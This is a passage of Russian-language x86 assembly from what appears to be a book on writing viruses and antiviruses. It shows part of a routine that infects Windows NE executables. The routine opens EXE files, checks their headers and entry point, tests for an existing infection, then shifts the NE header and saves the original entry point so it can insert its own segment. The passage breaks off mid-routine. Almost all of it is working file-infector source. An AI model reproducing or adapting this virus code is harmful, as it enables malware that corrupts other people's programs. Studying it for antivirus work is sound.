Создаем вирус и антивирус - страница 14
found_exe:
;Откроем файл для чтения и записи
push ds
lds dx,DWORD PTR [DTA]
add dx,1Eh
mov ax,3D02h
int 21h
pop ds
;Прочтем старый заголовок
mov dx,OFFSET old_hdr
mov bx,ax
mov cx,40h
mov ah,3Fh
int 21h
;Проверим сигнатуру, это EXE−файл?
cmp WORD PTR [old_hdr],”ZM”
jne close_exe
;Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный EXE−файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому что это может оказаться
;PE−, LE−, LX−executable или другой
;(PE−executable описан в разделе,
;посвященном Windows 95, остальные
;типы EXE−файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
;Перейдем ко второму заголовку (может быть, это NewEXE?):
;Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx,WORD PTR [old_hdr+3Ch]
mov cx,WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
;Прочитаем второй заголовок
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,3fh
int 21h
;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл
cmp WORD PTR [new_hdr],”EN”
jne close_exe
;Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
;Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
;Для этого прочтем значение регистра CS при запуске
;этого EXE−файла
mov dx,WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
;элемента в таблице сегментов
dec dx
shl dx,3
;К результату прибавим смещение таблицы сегментов и смещение
;заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
;Переместим указатель чтения/записи
mov ax,4200h
int 21h
;Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov cx,2
mov ah,3Fh
int 21h
;Вычислим смещение сегмента, опираясь на значения
;смещения логического сектора и множителя секторов
mov dx,WORD PTR [temp]
mov cx,WORD PTR [new_hdr+32h]
xor ax,ax
cal_entry:
shl dx,1
rcl ax,1
loop cal_entry
;Переместим 16 старших бит 32−битного результата в регистр CX
mov cx,ax
;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx,0
;Переместим указатель позиции чтения/записи на точку старта
;программы – результат вычисления
mov ax,4200h
int 21h
;Считаем первые 10 байт после старта программы
mov dx,OFFSET temp
mov cx,10h
mov ah,3Fh
int 21h
;Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе – заражаем
mov si,OFFSET temp
push cs
pop es
xor di,di
mov cx,8
cld
rep cmpsw
jne ok_to_infect
jmp close_exe
;Приступим к заражению
ok_to_infect:
;Переместим NE−заголовок на 8 байт ближе к началу файла.
;Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0
;Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [host_ip]
push WORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало